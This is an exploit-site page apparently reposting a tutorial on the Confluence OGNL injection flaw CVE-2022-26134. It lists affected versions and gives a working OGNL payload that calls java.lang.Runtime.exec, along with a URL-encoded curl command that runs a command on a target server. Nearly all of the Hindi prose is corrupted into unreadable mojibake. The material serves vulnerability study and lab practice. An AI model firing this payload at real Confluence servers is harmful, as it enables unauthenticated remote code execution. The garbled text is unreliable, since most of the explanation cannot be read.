## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MUHAMMAD-ALI007-ATLASSIAN_CVE-2022-26134
Confluence Pre-Auth Remote Code Execution via OGNL Injection (CVE-2022-26134)
30 рдордИ, 2022 рдХреЛ, Volexity рдирд╛рдордХ рдПрдХ рд╕рдВрдЧрдарди рдиреЗ Atlassian рдХреЗ Confluence Server рдФрд░ Data Center рд╕рдВрд╕реНрдХрд░рдгреЛрдВ (https://www.atlassian.com/software/confluence) рдореЗрдВ рдПрдХ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд╛рд▓реА RCE рдХрдордЬреЛрд░реА (NIST рдкрд░ 9.8 рд╕реНрдХреЛрд░) рдХреА рдкрд╣рдЪрд╛рди рдХреАред
Confluence рдЯреАрдореЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд╣рдпреЛрдЧреА рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг рдФрд░ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдкреНрд░рдмрдВрдзрди рдврд╛рдБрдЪрд╛ рд╣реИред Confluence рд╕рджрд╕реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рдХреЗрдВрджреНрд░реАрдХреГрдд рдХрд╛рд░реНрдпрдХреНрд╖реЗрддреНрд░ рдкреНрд░рджрд╛рди рдХрд░рдХреЗ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреА рд╕реНрдерд┐рддрд┐ рдХреЛ рдЯреНрд░реИрдХ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред
Confluence рдХреЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕рдВрд╕реНрдХрд░рдг рдЗрд╕ CVE рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИрдВ:
* 1.3.0 -> 7.4.17
* 7.13.0 -> 7.13.7
* 7.14.0 -> 7.14.3
* 7.15.0 -> 7.15.2
* 7.16.0 -> 7.16.4
* 7.17.0 -> 7.17.4
* 7.18.0 -> 7.18.1
рдЖрдк CVE-2022-26134 рдХреЗ рд▓рд┐рдП NIST рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдпрд╣рд╛рдБ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ (https://nvd.nist.gov/vuln/detail/CVE-2022-26134)ред
рдпрд╣ CVE Java рдХреЗ рд▓рд┐рдП OGNL (Object-Graph Navigation Language) рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рднрд╛рд╖рд╛ рдореЗрдВ рдПрдХ рдХрдордЬреЛрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред OGNL рдХрд╛ рдЙрдкрдпреЛрдЧ Java рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЗ рдЧреБрдгреЛрдВ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдФрд░ рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЕрдиреНрдп рдХрдИ рдЪреАрдЬреЛрдВ рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, OGNL рдХрд╛ рдЙрдкрдпреЛрдЧ рдлреНрд░рдВрдЯ-рдПрдВрдб рддрддреНрд╡реЛрдВ рдЬреИрд╕реЗ рдЯреЗрдХреНрд╕реНрдЯ рдмреЙрдХреНрд╕ рдХреЛ рдмреИрдХ-рдПрдВрдб рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рд╕реЗ рдмрд╛рдБрдзрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ Java-рдЖрдзрд╛рд░рд┐рдд рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдЬреИрд╕реЗ Confluence рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╣рдо рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рдореЗрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ OGNL рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдорд╛рди рдПрдХ рд╡реЗрдм рдлреЙрд░реНрдо рдореЗрдВ рдЗрдирдкреБрдЯ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдЬрд╣рд╛рдБ рдпреЗ рдорд╛рди рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдЕрдВрджрд░ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдП рдЬрд╛рдПрдБрдЧреЗред
рд╢реЛрд╖рдг рд╣рдо рдЗрд╕ рддрдереНрдп рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ OGNL рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ; рд╣рдо рдкрд░реАрдХреНрд╖рдг рдФрд░ рд╢реЛрд╖рдг рдХреА рдЬрд╛рдБрдЪ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреЗрд▓реЛрдб рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред
OGNL рдХреЗ рднреАрддрд░ рдЗрд╕ рдХрдордЬреЛрд░реА рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдореЗрдВ рдПрдХ HTTP GET рдЕрдиреБрд░реЛрдз рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдФрд░ рдЕрдкрдиреЗ рдкреЗрд▓реЛрдб рдХреЛ URI рдореЗрдВ рд░рдЦрдирд╛ рд╣реЛрдЧрд╛ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╣рдо Java рд░рдирдЯрд╛рдЗрдо рдХреЛ рд╕рд░реНрд╡рд░ рдкрд░ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдиреЗ рдЬреИрд╕рд╛ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдирд┐рд░реНрджреЗрд╢ рджреЗ рд╕рдХрддреЗ рд╣реИрдВ: "${@java.lang.Runtime@getRuntime().exec("touch /tmp/thm/")}/"ред
рдЗрд╕реЗ URL рдПрдиреНрдХреЛрдб рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред рдЖрдк рдЕрдкрдиреЗ рдкреЗрд▓реЛрдб рдХреЛ URL рдПрдиреНрдХреЛрдб рдХрд░рдиреЗ рдореЗрдВ рд╕рд╣рд╛рдпрддрд╛ рдХреЗ рд▓рд┐рдП рдЗрд╕ рд╡реЗрдмрд╕рд╛рдЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдкрдХреЗ curl рдкреЗрд▓реЛрдб рдХреЛ рдЕрдВрдд рдореЗрдВ рдПрдХ рдЯреНрд░реЗрд▓рд┐рдВрдЧ / рдХреЗ рд╕рд╛рде рд╕рдорд╛рдкреНрдд рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рди рдХрд┐ $2F рдХреЗ рд╕рд╛рде)ред рдХрдорд╛рдВрдб: user@host~ curl -v http://<target_ip>:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/thm%22%29%7D/ рдЕрдм, рдЙрдкрд░реЛрдХреНрдд рдХрдорд╛рдВрдб рдореЗрдВ "ls /tmp" рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдХреЗ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдЙрдкрд░реЛрдХреНрдд рдХрдорд╛рдВрдб рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реБрдЖ рдпрд╛ рдирд╣реАрдВред